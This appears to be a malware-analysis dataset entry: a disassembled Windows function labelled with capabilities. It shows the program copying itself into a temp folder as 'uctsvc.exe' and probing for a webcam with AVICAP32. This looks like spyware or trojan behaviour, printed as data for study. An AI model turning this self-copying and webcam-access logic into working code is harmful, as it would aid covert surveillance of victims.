Function at 0x405bf4
Capabilities:
Capture webcam image
Copy file
Create directory
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffac4
push esi
push edi
mov eax, 0x4406ec
call fcn.0040eaa0
mov esi, 0x437ed4
lea edi, [ebp - 0x14c]
mov ecx, 0x39
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov esi, 0x437fbb
lea edi, [ebp - 0x234]
mov ecx, 0x39
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov esi, 0x4380a2
lea edi, [ebp - 0x31c]
mov ecx, 0x39
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea eax, [ebp - 0x420]
push eax
push 0x104
call sub.KERNEL32.DLL_GetTempPathA
mov dword [ebp - 0x58], eax
lea edx, [ebp - 0x420]
push edx
lea ecx, [ebp - 0x14c]
push ecx
call fcn.0040e7b8
add esp, 8
push str.pac001_
lea eax, [ebp - 0x14c]
push eax
call fcn.0040e7b8
add esp, 8
lea edx, [ebp - 0x14c]
push edx
call fcn.004103f8
pop ecx
push 0
call fcn.00417908
pop ecx
push eax
call fcn.004139d8
pop ecx
mov word [ebp - 0x44], 8
lea ecx, [ebp - 0x18]
push ecx
call fcn.004029f9
pop ecx
add dword [ebp - 0x38], 4
mov word [ebp - 0x44], 0x14
mov word [ebp - 0x44], 0x20
lea eax, [ebp - 0x30]
push eax
call fcn.00406900
pop ecx
add dword [ebp - 0x38], 4
mov word [ebp - 0x44], 0x14
push 0xc8
push 0
lea edx, [ebp - 0x234]
push edx
call fcn.0040e714
add esp, 0xc
push 0xc8
push 0
lea ecx, [ebp - 0x31c]
push ecx
call fcn.0040e714
add esp, 0xc
lea eax, [ebp - 0x14c]
push eax
lea edx, [ebp - 0x31c]
push edx
call fcn.0040e7b8
add esp, 8
push str.uctsvc.exe
lea ecx, [ebp - 0x31c]
push ecx
call fcn.0040e7b8
add esp, 8
lea eax, [ebp - 0x14c]
push eax
lea edx, [ebp - 0x234]
push edx
call fcn.0040e7b8
add esp, 8
push 0
lea ecx, [ebp - 0x234]
push ecx
call sub.KERNEL32.DLL_CreateDirectoryA
push 0x104
lea eax, [ebp - 0x53c]
push eax
push 0
call sub.KERNEL32.DLL_GetModuleFileNameA
push 0
lea edx, [ebp - 0x31c]
push edx
lea ecx, [ebp - 0x53c]
push ecx
call sub.KERNEL32.DLL_CopyFileA
push str.stat.idx
lea eax, [ebp - 0x234]
push eax
call fcn.0040e7b8
add esp, 8
lea edx, [ebp - 0x234]
push edx
call fcn.004068c0
pop ecx
test eax, eax
jne 0x405f00
push 0
push 0
push 0x8c
push 0xa0
push 0
push 0
push 0
push 0x4400fa
call sub.AVICAP32.DLL_capCreateCaptureWindowA
mov dword [0x44884c], eax
push dword [0x44884c]
call sub.USER32.DLL_IsWindow
test eax, eax
je 0x405de6
push 0
push 0
push 0x40a
push dword [0x44884c]
call sub.USER32.DLL_SendMessageA
jmp 0x405de8
xor eax, eax
test eax, eax
jne 0x405e24
push dword [0x44884c]
call sub.USER32.DLL_DestroyWindow
xor edx, edx
mov dword [0x44884c], edx
push 1
push 0
push 0x448628
call fcn.0040e714
add esp, 0xc
push 0x4402bd
push 0x448628
call fcn.0040e7b8
add esp, 8
jmp 0x405e47
push 1
push 0
push 0x448628
call fcn.0040e714
add esp, 0xc
push 0x4402bf
push 0x448628
call fcn.0040e7b8
add esp, 8
push dword [0x44884c]
call sub.USER32.DLL_DestroyWindow
xor ecx, ecx
mov dword [0x44884c], ecx
xor eax, eax
mov dword [ebp - 0x5c], eax
call fcn.00405bdc
push eax
lea edx, [ebp - 0x18]
push edx
call fcn.0040324f
add esp, 8
inc dword [ebp - 0x5c]
cmp dword [ebp - 0x5c], 0xa
jb 0x405e5f
push 0x44013a
lea ecx, [ebp - 0x234]
push ecx
call fcn.00410af8
add esp, 8
mov dword [ebp - 0x60], eax
push dword [ebp - 0x60]
lea eax, [ebp - 0x18]
push eax
call fcn.00403012
pop ecx
push eax
call fcn.0040e824
pop ecx
push eax
push 1
lea edx, [ebp - 0x18]
push edx
call fcn.00403012
pop ecx
push eax
call fcn.00410fac
add esp, 0x10
push dword [ebp - 0x60]
push 2
push 1
push 0x4402c1
call fcn.00410fac
add esp, 0x10
push dword [ebp - 0x60]
push 0x448628
call fcn.0040e824
pop ecx
push eax
push 1
push 0x448628
call fcn.00410fac
add esp, 0x10
push dword [ebp - 0x60]
call fcn.00410650
pop ecx
mov dword [0x437c70], 1
lea ecx, [ebp - 0x14c]
push ecx
call fcn.004103f8
pop ecx
push 0x14
push 0
push 0x4488c8
call fcn.0040e714
add esp, 0xc
push 0x4488c8
push str._sfh.cbu
call fcn.00406308
add esp, 8
push 0x4488c8
lea eax, [ebp - 0x14c]
push eax
call fcn.0040e7b8
add esp, 8
lea edx, [ebp - 0x14c]
push edx
call fcn.004068c0
pop ecx
test eax, eax
jne 0x405fa6
push 0x44013a
lea ecx, [ebp - 0x14c]
push ecx
call fcn.00410af8
add esp, 8
mov dword [ebp - 0x64], eax
test eax, eax
jne 0x405f79
push dword [ebp - 0x64]
call fcn.00410650
pop ecx
push dword [ebp - 0x64]
push 1
push 0x9b
push 0x437b3b
call fcn.00410fac
add esp, 0x10
push dword [ebp - 0x64]
call fcn.00410650
pop ecx
lea edx, [ebp - 0x14c]
push edx
call fcn.00416ce0
pop ecx
sub dword [ebp - 0x38], 4
push 2
lea ecx, [ebp - 0x30]
push ecx
call fcn.00402eed
add esp, 8
sub dword [ebp - 0x38], 4
push 2
lea eax, [ebp - 0x18]
push eax
call fcn.00402eed
add esp, 8
mov edx, dword [ebp - 0x54]
mov dword fs:[0], edx
pop edi
pop esi
mov esp, ebp
pop ebp
ret